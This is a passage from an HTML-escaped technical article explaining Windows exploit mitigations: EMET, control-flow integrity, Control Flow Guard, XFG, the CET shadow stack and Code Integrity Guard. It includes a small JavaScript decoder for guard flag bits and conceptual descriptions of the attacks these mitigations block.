&lt;/blockquote&gt;
&lt;p&gt;Microsoft&apos;s first response was behavioral, not structural. In 2009 the company released the &lt;em&gt;Enhanced Mitigation Experience Toolkit&lt;/em&gt; (EMET), a free shim DLL that injected runtime checks into existing user-mode processes to detect ROP-shaped behavior. EMET checked for stack pivots, for unaligned &lt;code&gt;ret&lt;/code&gt;-targets, for known-malicious gadget sequences, for unusual SEH chain layouts. It worked, intermittently, for a while. Then attackers adjusted, gadget-replacing around EMET&apos;s heuristics, and Microsoft slowly conceded the behavioral-detection direction was a dead end. EMET&apos;s final release was 5.52 in November 2016; end of life was July 31, 2018 [@wiki-emet]. Microsoft&apos;s stated successors are the &lt;code&gt;ProcessMitigations&lt;/code&gt; PowerShell module and Windows Defender Exploit Guard -- i.e., the formal &lt;code&gt;SetProcessMitigationPolicy&lt;/code&gt; surface this article catalogs [@wiki-emet].&lt;/p&gt;

EMET was an honorable failure. It taught the security industry that you cannot detect a control-flow hijack by looking at its symptoms; you can only prevent it by enforcing an invariant on the control flow itself. That lesson is exactly what Control Flow Guard (CFG) and Control-Flow Enforcement Technology (CET) embody. Every behavioral-ROP-detection product since EMET (Carbon Black&apos;s BB exploit protection, Symantec&apos;s Heat Shield, vendor-specific EDR ROP checks) has had the same fate against motivated adversaries -- you can buy time but you cannot fix the problem in heuristics.
&lt;p&gt;The structural answer arrived two years before the offensive proof that motivated it. In November 2005, at ACM CCS, Martín Abadi, Mihai Budiu, Úlfar Erlingsson, and Jay Ligatti published &lt;em&gt;Control-Flow Integrity&lt;/em&gt; (also released as Microsoft Research Technical Report MSR-TR-2005-18) [@msr-cfi]. Their formal definition is short: &lt;em&gt;the execution of a program dynamically follows only paths defined by a static control-flow graph&lt;/em&gt;. They proved CFI is enforceable using compile-time-inserted runtime checks and demonstrated a software rewriting implementation.&lt;/p&gt;

A defensive property formalized by Abadi, Budiu, Erlingsson, and Ligatti in 2005 [@msr-cfi]: the execution of a program must dynamically follow only paths defined by the static control-flow graph (CFG) of the program. CFI partitions into a forward-edge property (the targets of indirect calls and jumps must be valid) and a backward-edge property (the targets of returns must be the call-sites that called them). CFG, XFG, kCFG, and Apple&apos;s PAC are forward-edge CFI implementations. CET&apos;s shadow stack is a backward-edge CFI implementation.
&lt;p&gt;CFI was a research framework looking for a vendor. It would wait nine years. The reader&apos;s belief at this point might be &quot;DEP plus ASLR is enough.&quot; The honest belief, after Shacham, is that DEP plus ASLR raises the cost but does not change the game. The attacker still wins if they can choose where the next &lt;code&gt;ret&lt;/code&gt; lands. The structural answer -- constraining the control transfer rather than the write -- is what makes Control Flow Guard make sense.&lt;/p&gt;
&lt;p&gt;What does &lt;em&gt;constraining the control transfer&lt;/em&gt; look like in machine code?&lt;/p&gt;
&lt;h2&gt;4. Control Flow Guard (CFG): compile-time, load-time, runtime&lt;/h2&gt;
&lt;p&gt;Where DEP was enforced by hardware on every page, CFG is enforced by software on every indirect call. The compiler is now a security tool.&lt;/p&gt;
&lt;p&gt;CFG&apos;s ship history is more complicated than the marketing remembers. The canonical primary on the early dates is Yunhai Zhang&apos;s Black Hat USA 2015 deck, &lt;em&gt;Bypass Control Flow Guard Comprehensively&lt;/em&gt;, which states verbatim: &quot;It was first introduced in Windows 8.1 Preview, but disabled in Windows 8.1 RTM for compatibility reason. Then, it was improved and enabled in Windows 10 Technical Preview and Windows 8.1 Update&quot; [@zhang-bhusa15]. Visual Studio 2015 added the compiler and linker flags. By the time Windows 10 shipped to consumers in July 2015, CFG was a documented Win32 security feature [@ms-cfg-doc].Stage 1 had this ship date as &quot;Windows 8.1 Update 3 November 2014 vs Windows 10 July 2015&quot;. Zhang&apos;s deck is the contemporaneous primary that resolves the dispute. CFG was in Windows 8.1 Preview, was &lt;em&gt;removed&lt;/em&gt; from Windows 8.1 RTM for compatibility, returned in Windows 8.1 Update and Windows 10 Technical Preview, and shipped widely with Windows 10 in 2015.&lt;/p&gt;
&lt;p&gt;The mechanism has four phases. Each phase is a separate engineering subsystem, owned by a different team.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase 1: Compile-time&lt;/strong&gt; (&lt;code&gt;/guard:cf&lt;/code&gt;). The MSVC compiler emits, before every indirect call instruction, a call to one of two compiler-supplied thunks: &lt;code&gt;__guard_check_icall_fptr&lt;/code&gt; for the standard pattern, or &lt;code&gt;__guard_dispatch_icall_fptr&lt;/code&gt; for the tail-call optimization where the validator itself jumps to the target [@ms-guard-cf-compiler]. The thunk is a single indirection through ntdll. At compile time it is a stub; at load time it is patched to point at the active validator.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase 2: Link-time&lt;/strong&gt; (&lt;code&gt;/GUARD:CF&lt;/code&gt;, which requires &lt;code&gt;/DYNAMICBASE&lt;/code&gt;). The linker writes the &lt;em&gt;Guard CF Function Table&lt;/em&gt; (FID table) into the PE image&apos;s &lt;code&gt;IMAGE_LOAD_CONFIG_DIRECTORY&lt;/code&gt; [@ms-guard-cf-linker]. This table is the static catalog of every CFG-valid call target in this binary: every function whose address is taken, plus every function exported. &lt;code&gt;dumpbin /headers /loadconfig &amp;lt;binary&amp;gt;&lt;/code&gt; prints the table contents -- you can read the actual &lt;code&gt;Guard CF&lt;/code&gt; flag word and the &lt;code&gt;FID table present&lt;/code&gt; line.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The MSVC linker only emits the FID table when &lt;code&gt;/DYNAMICBASE&lt;/code&gt; is also set [@ms-guard-cf-compiler, @ms-guard-cf-linker]. A binary compiled with &lt;code&gt;/guard:cf&lt;/code&gt; but linked without &lt;code&gt;/DYNAMICBASE&lt;/code&gt; will pass code review, ship, and provide zero protection at runtime. This is the single most common CFG misconfiguration in third-party software. Always confirm with &lt;code&gt;dumpbin /headers /loadconfig&lt;/code&gt; that the &lt;code&gt;Guard Flags&lt;/code&gt; word is non-zero and that &lt;code&gt;FID Table present&lt;/code&gt; is in the output.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Phase 3: Load-time.&lt;/strong&gt; At process startup and on every subsequent &lt;code&gt;LoadLibrary&lt;/code&gt;, &lt;code&gt;ntdll!LdrpProtectAndRelocateImage&lt;/code&gt; unions the FID table of the loaded image into a per-process &lt;em&gt;bitmap&lt;/em&gt;. The bitmap is a sparse data structure with one bit per 8 bytes of virtual address space. On 32-bit Windows, that is about 32 megabytes of address space worth of valid-target bits. On x64, the address space is so large the bitmap is hundreds of megabytes sparse-allocated -- but the memory only commits on access, so the resident set stays small.&lt;/p&gt;

A sparse, per-process bit vector indexed by virtual address (one bit per 8 bytes). A set bit at index `addr / 8` means that `addr` is a CFG-valid indirect-call target in some loaded image. The kernel commits the bitmap pages on first access and shares them copy-on-write across processes with identical module-load layouts. The bitmap is the runtime data structure that `LdrpValidateUserCallTarget` consults on every indirect call.
&lt;p&gt;&lt;strong&gt;Phase 4: Runtime.&lt;/strong&gt; Every indirect call goes through &lt;code&gt;ntdll!LdrpValidateUserCallTarget&lt;/code&gt;. The validator takes the call target in &lt;code&gt;rcx&lt;/code&gt; (x64 calling convention), divides by 8, indexes into the bitmap, and tests the bit. If set, return; the call proceeds. If clear, fall through to &lt;code&gt;__fastfail(FAST_FAIL_GUARD_ICALL_CHECK_FAILURE)&lt;/code&gt;, which raises &lt;code&gt;STATUS_STACK_BUFFER_OVERRUN&lt;/code&gt;. The process dies.&lt;/p&gt;

sequenceDiagram
    participant Src as C++ source
    participant CC as &quot;MSVC /guard:cf&quot;
    participant Ln as &quot;Linker /GUARD:CF /DYNAMICBASE&quot;
    participant Ldr as ntdll loader
    participant Rt as Runtime
    Src-&amp;gt;&amp;gt;CC: address-taken funcs plus indirect call sites
    CC-&amp;gt;&amp;gt;Ln: object file plus FID hints
    Ln-&amp;gt;&amp;gt;Ldr: PE with FID table in load-config dir
    Ldr-&amp;gt;&amp;gt;Ldr: union FID table into bitmap
    Note over Ldr: one bit per 8 bytes
    Rt-&amp;gt;&amp;gt;Ldr: indirect call via LdrpValidateUserCallTarget
    alt bit set
        Ldr-&amp;gt;&amp;gt;Rt: proceed
    else bit clear
        Ldr-&amp;gt;&amp;gt;Rt: fastfail STATUS_STACK_BUFFER_OVERRUN
    end
&lt;p&gt;There is an exception: code that is generated at runtime, like a JavaScript JIT, cannot have its targets pre-baked into a static FID table. For this case, CFG exposes &lt;code&gt;SetProcessValidCallTargets&lt;/code&gt;, which lets a process programmatically mark an in-process address range as a permitted call target [@ms-cfg-doc]. The companion &lt;code&gt;PAGE_TARGETS_INVALID&lt;/code&gt; and &lt;code&gt;PAGE_TARGETS_NO_UPDATE&lt;/code&gt; page-protection flags let the process control which newly-allocated pages start with a clear bitmap. The reason this API exists at all is the structural collision between W^X-via-CFG and runtime code generation -- a collision that section 8 (ACG) will eventually resolve by moving the JIT out of process.&lt;/p&gt;
&lt;p&gt;You can read the load-config flag word directly. The hex value is a bit field of &lt;code&gt;IMAGE_GUARD_*&lt;/code&gt; constants. The most common bits are &lt;code&gt;IMAGE_GUARD_CF_INSTRUMENTED&lt;/code&gt; (the binary has CFG indirect-call checks), &lt;code&gt;IMAGE_GUARD_CFW_INSTRUMENTED&lt;/code&gt; (the binary has CFG indirect-call checks plus write-protection checks), &lt;code&gt;IMAGE_GUARD_CF_FUNCTION_TABLE_PRESENT&lt;/code&gt; (the FID table is in the PE), &lt;code&gt;IMAGE_GUARD_CF_LONGJUMP_TABLE_PRESENT&lt;/code&gt;, and &lt;code&gt;IMAGE_GUARD_RETPOLINE_PRESENT&lt;/code&gt;. The decoder is short enough to inline:&lt;/p&gt;
&lt;p&gt;{`
const FLAGS = [
  [0x00000100, &apos;IMAGE_GUARD_CF_INSTRUMENTED&apos;],
  [0x00000200, &apos;IMAGE_GUARD_CFW_INSTRUMENTED&apos;],
  [0x00000400, &apos;IMAGE_GUARD_CF_FUNCTION_TABLE_PRESENT&apos;],
  [0x00000800, &apos;IMAGE_GUARD_SECURITY_COOKIE_UNUSED&apos;],
  [0x00001000, &apos;IMAGE_GUARD_PROTECT_DELAYLOAD_IAT&apos;],
  [0x00002000, &apos;IMAGE_GUARD_DELAYLOAD_IAT_IN_ITS_OWN_SECTION&apos;],
  [0x00004000, &apos;IMAGE_GUARD_CF_EXPORT_SUPPRESSION_INFO_PRESENT&apos;],
  [0x00008000, &apos;IMAGE_GUARD_CF_ENABLE_EXPORT_SUPPRESSION&apos;],
  [0x00010000, &apos;IMAGE_GUARD_CF_LONGJUMP_TABLE_PRESENT&apos;],
  [0x00020000, &apos;IMAGE_GUARD_RF_INSTRUMENTED&apos;],
  [0x00040000, &apos;IMAGE_GUARD_RF_ENABLE&apos;],
  [0x00080000, &apos;IMAGE_GUARD_RF_STRICT&apos;],
  [0x00100000, &apos;IMAGE_GUARD_RETPOLINE_PRESENT&apos;],
];&lt;/p&gt;
&lt;p&gt;// Real-world example value from a fully-instrumented MSVC 2022 binary
const guardFlags = 0x0001050C;
console.log(&apos;Guard Flags = 0x&apos; + guardFlags.toString(16).padStart(8, &apos;0&apos;));
for (const [bit, name] of FLAGS) {
  if (guardFlags &amp;amp; bit) console.log(&apos;  set: &apos; + name);
}
`}&lt;/p&gt;
&lt;p&gt;CFG is forward-edge only. The &lt;code&gt;ret&lt;/code&gt; instruction is invisible to it. A ROP chain that uses only return-target gadgets -- the original Shacham construction -- is not affected by CFG at all, because CFG never asks &quot;where did this &lt;code&gt;ret&lt;/code&gt; go?&quot; It only asks &quot;where did this indirect call go?&quot; Closing the backward edge is a separate problem (section 6).&lt;/p&gt;
&lt;p&gt;CFG is also &lt;em&gt;coarse-grained&lt;/em&gt;. The bitmap records &quot;is this address a valid function entry?&quot; but not &quot;is this address a valid function entry &lt;em&gt;for this particular call site&apos;s prototype?&lt;/em&gt;&quot; Any function entry in the entire process is a valid CFG target for every indirect call site. If the attacker finds a legitimate function that takes a controllable argument and does something useful, they can chain it into a working exploit without ever flipping a clear bit to set.&lt;/p&gt;
&lt;p&gt;Those two limitations -- forward-edge only, coarse-grained -- are precisely the open questions section 5 (XFG, fine-graining) and section 6 (CET shadow stack, backward edge) answer. CFG was the first floor. The next two sections build out the rest.&lt;/p&gt;
&lt;h2&gt;5. eXtended Flow Guard (XFG): type-hash, fine-grained CFI for indirect calls&lt;/h2&gt;
&lt;p&gt;CFG knows &lt;em&gt;is this a function entry?&lt;/em&gt; XFG asks the better question: &lt;em&gt;is this the right kind of function entry?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The structural reason XFG exists has a name and a paper. May 2015, IEEE Symposium on Security and Privacy. Felix Schuster, Thomas Tendyck, Christopher Liebchen, Lucas Davi, Ahmad-Reza Sadeghi, and Thorsten Holz publish &lt;em&gt;Counterfeit Object-oriented Programming: On the Difficulty of Preventing Code Reuse Attacks in C++ Applications&lt;/em&gt; [@coop-ieeesecurity-pdf]. The paper&apos;s abstract is constructive and brutal: COOP is &quot;the first code-reuse attack to enable the synthesis of malicious behavior on x86 and ARM platforms&quot; that &quot;fully complies with previously presented coarse-grained CFI defenses.&quot;&lt;/p&gt;

We propose a new attack technique, called Counterfeit Object-Oriented Programming (COOP), which is the first code-reuse attack to enable the synthesis of malicious behavior on x86 and ARM platforms and which fully complies with previously presented coarse-grained CFI defenses. -- Schuster et al., IEEE S&amp;amp;P 2015 [@coop-ieeesecurity-pdf]

A code-reuse attack technique that chains legitimate C++ virtual function calls in attacker-chosen order, achieved by corrupting vtable pointers or vtable contents. Each individual callee is a real, address-taken function entry that passes any coarse-grained CFI bitmap. The attacker assembles Turing-complete computation by chaining these legitimate calls. Published by Schuster, Tendyck, Liebchen, Davi, Sadeghi, and Holz at IEEE S&amp;amp;P 2015 [@coop-ieeesecurity-pdf].
&lt;p&gt;The mechanism is simple to describe but hard to detect. The attacker corrupts a heap-resident C++ object&apos;s vtable pointer to point at a fake vtable they have crafted from gadget-like &lt;em&gt;virtual functions&lt;/em&gt; of real classes in the binary. Each entry in the fake vtable points at the entry of a real virtual method. The program&apos;s own virtual dispatch sequence performs the calls. The control transfers all land at legitimate function entries. CFG, which only asks &quot;is this a function entry?&quot;, sees nothing wrong.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s first public disclosure of the answer came at BlueHat Shanghai in 2019. David Weston -- listed on the title slide of the deck as &quot;Microsoft OS Security Group Manager&quot; -- presented the design of &lt;em&gt;eXtended Flow Guard&lt;/em&gt; (XFG) [@weston-bhshanghai-2019]. Microsoft never published a written XFG specification; the canonical public deconstruction is Connor McGarr&apos;s August 2020 reverse-engineering, which remains the best public account of how the mechanism actually works [@mcgarr-xfg].&lt;/p&gt;
&lt;p&gt;The mechanism is elegant. At compile time, MSVC computes a 64-bit type hash for every function: a truncated SHA-256 (first 8 bytes of the 32-byte digest) of the parameter count, parameter types, variadic flag, calling convention, and return type. The compiler stores this hash 8 bytes &lt;em&gt;before&lt;/em&gt; each CFG-valid function entry [@mcgarr-xfg]. At each indirect call site, the compiler knows the &lt;em&gt;expected&lt;/em&gt; prototype (from the call&apos;s static type), emits the same hash inline, and the dispatch thunk reads the 8 bytes preceding the target and compares.&lt;/p&gt;

flowchart TD
    A[Indirect call site] --&amp;gt; B{&quot;CFG bitmap&lt;br /&gt;bit set?&quot;}
    B --&amp;gt;|No| F1[__fastfail]
    B --&amp;gt;|Yes| C{&quot;XFG enabled?&quot;}
    C --&amp;gt;|No| D[Proceed&lt;br /&gt;CFG only]
    C --&amp;gt;|Yes| E[Read hash&lt;br /&gt;at target - 8]
    E --&amp;gt; G{&quot;Hash matches&lt;br /&gt;expected prototype?&quot;}
    G --&amp;gt;|No| F2[__fastfail&lt;br /&gt;same status]
    G --&amp;gt;|Yes| H[Proceed&lt;br /&gt;full XFG]
&lt;p&gt;A COOP attacker who replaces a vtable pointer with the address of a different real virtual function passes CFG: the new target is a valid function entry. They fail XFG: the 8 bytes preceding the new target encode a &lt;em&gt;different&lt;/em&gt; prototype hash than the call site expects. The fix moves the granularity from &quot;every function entry&quot; to &quot;every function entry compatible with this exact prototype&quot; -- orders of magnitude closer to perfect forward-edge CFI.&lt;/p&gt;
&lt;p&gt;XFG shipped in Windows 10 21H1 internals. The &lt;code&gt;/guard:xfg&lt;/code&gt; MSVC flag was added. The XFG dispatch thunks (&lt;code&gt;__guard_xfg_dispatch_icall_fptr&lt;/code&gt;) appeared in &lt;code&gt;ntdll.dll&lt;/code&gt;. Then it didn&apos;t enable by default.Connor McGarr&apos;s Black Hat USA 2025 deck, &lt;em&gt;Out of Control: How KCFG and KCET Redefine Control Flow Integrity in the Windows Kernel&lt;/em&gt;, states verbatim: &quot;XFG was never fully instrumented (UM/KM) and is now deprecated.&quot; McGarr is listed on the title slide as Software Engineer, Prelude Security [@mcgarr-bhusa25].&lt;/p&gt;

Two reasons XFG didn&apos;t ship enforcement-by-default. First, compatibility cost: XFG breaks any C-style cast through a different prototype. Windows is full of these, including in third-party drivers and inbox-COM components, and every breakage costs a customer ticket. Second, hardware overtook software. CET shadow stack arrived on Tiger Lake in September 2020 (section 6) and gave the entire backward edge for free, leaving the forward-edge problem partially un-fine-grained but the *complete* CFI surface achievable by composing CFG (forward, coarse) with CET (backward, perfect). The math worked out: ship CET strictly, and a coarse-grained forward edge is good enough -- because the backward edge, the bigger half of the call graph, is now perfect.&lt;p&gt;XFG remains the most interesting almost-shipped Windows mitigation. The instrumentation is in MSVC. The dispatch thunks are in &lt;code&gt;ntdll&lt;/code&gt;. Enforcement-by-default never arrived, and the McGarr 2025 deck names it as deprecated. The strategic pivot to hardware is what Microsoft made instead.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;What does that hardware look like, and what edge does it protect? Tiger Lake shipped in September 2020. For the first time since Shacham 2007, the kind of ROP that chains &lt;code&gt;ret&lt;/code&gt;-terminated gadgets could be killed by the CPU itself.&lt;/p&gt;
&lt;h2&gt;6. Hardware-enforced Stack Protection (Intel CET shadow stack)&lt;/h2&gt;
&lt;p&gt;The Microsoft Tech Community post that introduced CET shadow stack on Windows -- preserved on the Wayback Machine because the live URL is a JavaScript-rendered shell -- gives the framing in one sentence:&lt;/p&gt;

We shipped Control Flow Guard (CFG) in Windows 10 to enforce integrity on indirect calls (forward-edge CFI). Hardware-enforced Stack Protection will enforce integrity on return addresses on the stack (backward-edge CFI), via Shadow Stacks. -- Microsoft Tech Community, *Understanding Hardware-enforced Stack Protection* [@cet-techcommunity-wayback]

A second, per-thread stack maintained by the CPU in parallel with the regular call stack. Every `call` instruction pushes the return address to both stacks. Every `ret` pops both and compares. A mismatch raises a `#CP` (Control Protection) fault, which Windows surfaces as `STATUS_STACK_BUFFER_OVERRUN`. The shadow stack page is hardware-protected: only the new instructions `INCSSP`, `RDSSP`, `WRSS`, and the call/ret/IRET microcode can write to it. User-mode stores into a shadow-stack page fault.
&lt;p&gt;The mechanism, drawn from Intel&apos;s CET specification and Microsoft&apos;s Windows enabling documents [@cet-techcommunity-wayback, @wiki-intel-cet, @ms-cetcompat]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Every &lt;code&gt;call&lt;/code&gt; instruction now writes the return address twice -- once to the regular stack, and once to the per-thread shadow stack at &lt;code&gt;[SSP]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The shadow-stack page is marked with a new MMU bit that makes it readable but not writable by general store instructions. Only the new instructions &lt;code&gt;INCSSP&lt;/code&gt;, &lt;code&gt;RDSSP&lt;/code&gt;, &lt;code&gt;WRSS&lt;/code&gt;, &lt;code&gt;WRUSS&lt;/code&gt;, and the call/ret/IRET microcode can store to it.&lt;/li&gt;
&lt;li&gt;Every &lt;code&gt;ret&lt;/code&gt; pops the regular stack and pops the shadow stack and compares. Equal: proceed. Different: raise &lt;code&gt;#CP&lt;/code&gt;. On Windows, &lt;code&gt;#CP&lt;/code&gt; is routed through the &lt;code&gt;KiRaiseException&lt;/code&gt; path as &lt;code&gt;STATUS_STACK_BUFFER_OVERRUN&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;New instructions exist for legitimate unwinding. &lt;code&gt;INCSSP imm&lt;/code&gt; advances the SSP across unwound frames -- the C++ &lt;code&gt;longjmp&lt;/code&gt; and the Windows SEH unwinder both use this. &lt;code&gt;RDSSP&lt;/code&gt; reads the current SSP into a register.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;/CETCOMPAT&lt;/code&gt; MSVC linker flag, available from Visual Studio 2019 onward, marks an x64 image as shadow-stack-compatible by setting the &lt;code&gt;IMAGE_DLLCHARACTERISTICS_EX_CET_COMPAT&lt;/code&gt; bit in the extended DLL characteristics word [@ms-cetcompat].&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tiger Lake shipped CET first, in September 2020. AMD followed with the same architectural spec in Zen 3 in November 2020 [@wiki-intel-cet]. The two vendors implement the same instructions, the same MMU bit, the same fault. The shadow-stack image format is identical. Windows uses the same code paths on both.AMD Zen 3 was launched on November 5, 2020, two months after Tiger Lake [@wiki-intel-cet]. Both vendors implement the Intel CET specification verbatim, so Microsoft&apos;s Windows enabling code is single-source.&lt;/p&gt;

sequenceDiagram
    participant CPU
    participant RStack as Regular stack
    participant SStack as Shadow stack
    Note over CPU,SStack: function prologue
    CPU-&amp;gt;&amp;gt;RStack: push retaddr_A
    CPU-&amp;gt;&amp;gt;SStack: push retaddr_A (shadow)
    Note over CPU,SStack: attacker corrupts retaddr_A on regular stack to retaddr_X
    Note over CPU,SStack: function epilogue
    CPU-&amp;gt;&amp;gt;RStack: pop -&amp;gt; retaddr_X
    CPU-&amp;gt;&amp;gt;SStack: pop -&amp;gt; retaddr_A
    CPU-&amp;gt;&amp;gt;CPU: compare retaddr_X vs retaddr_A
    CPU-&amp;gt;&amp;gt;CPU: mismatch CP fault then STATUS_STACK_BUFFER_OVERRUN
&lt;p&gt;The Windows policy surface for CET is &lt;code&gt;ProcessUserShadowStackPolicy&lt;/code&gt;, structured exactly like every other policy in the enum -- a &lt;code&gt;DWORD&lt;/code&gt; of bitfields and a &quot;reserved&quot; tail [@ms-user-shadow-stack-policy]. Ten flags are documented:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;EnableUserShadowStack&lt;/code&gt; -- turn it on (compatibility mode: only shadow-stack violations in CETCOMPAT-marked modules are fatal)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AuditUserShadowStack&lt;/code&gt; -- log without enforcing&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SetContextIpValidation&lt;/code&gt; -- block &lt;code&gt;SetThreadContext&lt;/code&gt; (and the equivalent &lt;code&gt;NtSetContextThread&lt;/code&gt; from a peer process) from setting an instruction pointer to an unguarded address&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AuditSetContextIpValidation&lt;/code&gt; -- log version&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EnableUserShadowStackStrictMode&lt;/code&gt; -- upgrade from compatibility mode (only CETCOMPAT-module shadow-stack violations are fatal) to strict mode (all shadow-stack violations are fatal, even in non-CETCOMPAT modules)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;BlockNonCetBinaries&lt;/code&gt; -- the loader refuses to map non-&lt;code&gt;/CETCOMPAT&lt;/code&gt; DLLs into the process; strict policy for the most-hardened sandboxes&lt;/li&gt;
&lt;li&gt;&lt;code&gt;BlockNonCetBinariesNonEhcont&lt;/code&gt; -- like &lt;code&gt;BlockNonCetBinaries&lt;/code&gt;, but also requires images to carry &lt;code&gt;/guard:ehcont&lt;/code&gt; exception-handling continuation metadata&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AuditBlockNonCetBinaries&lt;/code&gt; -- log version of &lt;code&gt;BlockNonCetBinaries&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SetContextIpValidationRelaxedMode&lt;/code&gt; -- permits some legacy patterns&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CetDynamicApisOutOfProcOnly&lt;/code&gt; -- requires &lt;code&gt;SetProcessValidCallTargets&lt;/code&gt;-style operations to come from a peer process&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;code&gt;SetContextIpValidation&lt;/code&gt; flag is worth a separate paragraph. The original CET shadow-stack design protected against attackers who corrupted return addresses on the regular stack. A more subtle attack used &lt;code&gt;SetThreadContext&lt;/code&gt; from a peer process (or, equivalently, the in-process &lt;code&gt;NtSetContextThread&lt;/code&gt;) to write a register-state structure containing an attacker-chosen &lt;code&gt;RIP&lt;/code&gt;. The thread, when resumed, would jump to that &lt;code&gt;RIP&lt;/code&gt; -- with no &lt;code&gt;ret&lt;/code&gt; instruction involved, so the shadow stack saw nothing. &lt;code&gt;SetContextIpValidation&lt;/code&gt; closes that hole by validating the requested &lt;code&gt;RIP&lt;/code&gt; against the bitmap before the kernel resumes the thread. Without it, CET shadow stack has a documented bypass [@ms-user-shadow-stack-policy].&lt;/p&gt;

A new CPU exception introduced with Intel CET. Raised when a shadow-stack compare fails on `ret`, when an `endbranch` instruction is missing at an indirect-branch target (for IBT-style CET, separate from shadow stack), or when an attempt is made to write to a shadow-stack page from a non-shadow-stack instruction. Windows routes `#CP` through `STATUS_STACK_BUFFER_OVERRUN`, the same status used for stack-canary violations and CFG failures.
&lt;p&gt;Compose CFG with CET shadow stack and you have the result the entire arc since Aleph One has been pointing at:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; CFG (forward edge) plus CET shadow stack (backward edge) equals full Control-Flow Integrity on x86-64, from compiler plus hardware. This is the cleanest moment in the article: two mitigations, from two different layers, compose into a property that took twenty years to assemble.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Full CFI is not the same as full security. CET still does not cover three structural attack classes. &lt;em&gt;Call-oriented programming&lt;/em&gt; and &lt;em&gt;jump-oriented programming&lt;/em&gt; chain gadgets ending in &lt;code&gt;call&lt;/code&gt; or &lt;code&gt;jmp&lt;/code&gt; rather than &lt;code&gt;ret&lt;/code&gt;; the call/return invariant is preserved, so CET sees nothing. &lt;em&gt;COOP&lt;/em&gt; chains entire legitimate virtual functions with matching call/return pairs; CET sees nothing. &lt;em&gt;Data-oriented&lt;/em&gt; attacks (section 13) never violate any control-flow invariant at all, because they never hijack control flow in the first place.&lt;/p&gt;
&lt;p&gt;We have constrained the control flow. We have not constrained which &lt;em&gt;code&lt;/em&gt; is in the process. An attacker can still load a malicious-but-signed-looking DLL through the loader, or persuade a JIT to emit attacker-chosen bytes into the JIT heap and then redirect a legitimate call to that JIT-allocated address. That is the &lt;em&gt;code&lt;/em&gt; layer, not the &lt;em&gt;control flow&lt;/em&gt; layer. The parallel mitigation path -- CIG and ACG -- is what closes it.&lt;/p&gt;
&lt;h2&gt;7. Code Integrity Guard (CIG): only signed images can load&lt;/h2&gt;
&lt;p&gt;Even if the attacker can&apos;t generate code and can&apos;t redirect control flow, they can still ask the loader to do it for them. Plant a Microsoft-signed DLL somewhere the loader will pick it up; &lt;code&gt;LoadLibrary&lt;/code&gt; runs the planted DLL&apos;s &lt;code&gt;DllMain&lt;/code&gt;; you have remote code execution through a trusted entry point. The structural answer is to restrict the universe of DLLs the loader will ever map into a hardened process.&lt;/p&gt;
&lt;p&gt;That is the function of &lt;em&gt;Code Integrity Guard&lt;/em&gt;. CIG first appeared in Microsoft Edge in Windows 10 1511 (November 2015) [@miller-acg-blog]. The canonical primary on its design is Matt Miller&apos;s February 2017 Edge blog &lt;em&gt;Mitigating arbitrary native code execution in Microsoft Edge&lt;/em&gt; [@miller-acg-blog]. The corresponding policy in &lt;code&gt;SetProcessMitigationPolicy&lt;/code&gt; is &lt;code&gt;ProcessSignaturePolicy&lt;/code&gt;, with the bitfield &lt;code&gt;PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY&lt;/code&gt; [@ms-binary-signature-policy].&lt;/p&gt;

A per-process policy that restricts the set of binaries the loader will map into the process to images signed by an allowed code-signing root. Implemented in Windows via the `ProcessSignaturePolicy` mitigation policy. The most common configuration is `MicrosoftSignedOnly`, which restricts loads to Microsoft-rooted catalogue chains. Bypass attempts that load a malicious DLL into the process return `STATUS_INVALID_IMAGE_HASH` from `LoadLibrary` / `LoadLibraryEx` / `NtMapViewOfSection` [@miller-acg-blog, @ms-binary-signature-policy].
&lt;p&gt;The policy structure carries three levels:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;MicrosoftSignedOnly&lt;/code&gt; -- only images chaining to a Microsoft root will load&lt;/li&gt;
&lt;li&gt;&lt;code&gt;StoreSignedOnly&lt;/code&gt; -- only Microsoft Store-signed images&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MitigationOptIn&lt;/code&gt; -- the loader accepts any image signed by Microsoft, the Windows Store, &lt;em&gt;or&lt;/em&gt; the Windows Hardware Quality Labs (WHQL); the broadest of the three signing-level settings&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Plus an &lt;code&gt;AuditMicrosoftSignedOnly&lt;/code&gt; audit-only flag that logs without blocking, for compatibility testing in the run-up to enforcement.&lt;/p&gt;

The kernel subsystem that enforces image-signing policy on user-mode binary loads. UMCI is the user-mode counterpart of KMCI (Kernel-Mode Code Integrity, used by Windows Driver Signature Enforcement and HVCI). CIG calls into UMCI on every `NtMapViewOfSection` to verify that the section&apos;s backing image is signed by an allowed root before the loader maps it.
